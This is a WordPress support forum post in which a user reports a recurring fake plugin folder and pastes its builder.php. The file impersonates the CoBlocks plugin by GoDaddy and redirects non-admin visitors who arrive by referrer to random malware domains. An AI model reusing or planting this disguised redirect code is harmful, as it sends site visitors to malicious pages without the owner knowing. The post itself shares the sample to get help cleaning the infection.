monkeyf

Hello,

I never installing your plugin but i have the same problem.

On my plugin folder, one time per day, a folder name is automatically create with a file name builder.php who create redirection to a malware page :

<?php
/*
Plugin Name: Page Builder Gutenberg Blocks – CoBlocks 
Plugin URI:  https://uk.ww.wp.xz.cn/plugins/coblocks/
Description: CoBlocks is the most innovative collection of page building WordPress blocks for the new Gutenberg WordPress block editor.
Version:     2.11.2
Author:      GoDaddy
Author URI:  https://godaddy.com/
License:     GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/

function Page_Builder() {
	$KADM = current_user_can('manage_options');
	$hhh = $_SERVER['HTTP_REFERER'];
	$ALL_LIST = ['http://xn--80aa4ce2a.xn--p1ai','http://xn--80ad2akx.xn--p1ai','http://xn--j1amtse.xn--p1ai','http://xn--c1anqe5e.xn--p1ai','http://xn--80aj4ae6d.xn--p1ai','http://xn--h1aiml3a.xn--p1ai'];
	$url = "";
	if(!$KADM && !empty($hhh) && !replace_abc()){
		header("Location: ".$ALL_LIST[array_rand($ALL_LIST)]);
		exit();
	} else{}
}
function replace_abc() {
    return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));
}
add_action( 'wp_loaded', 'Page_Builder' );

?>

Can you help me …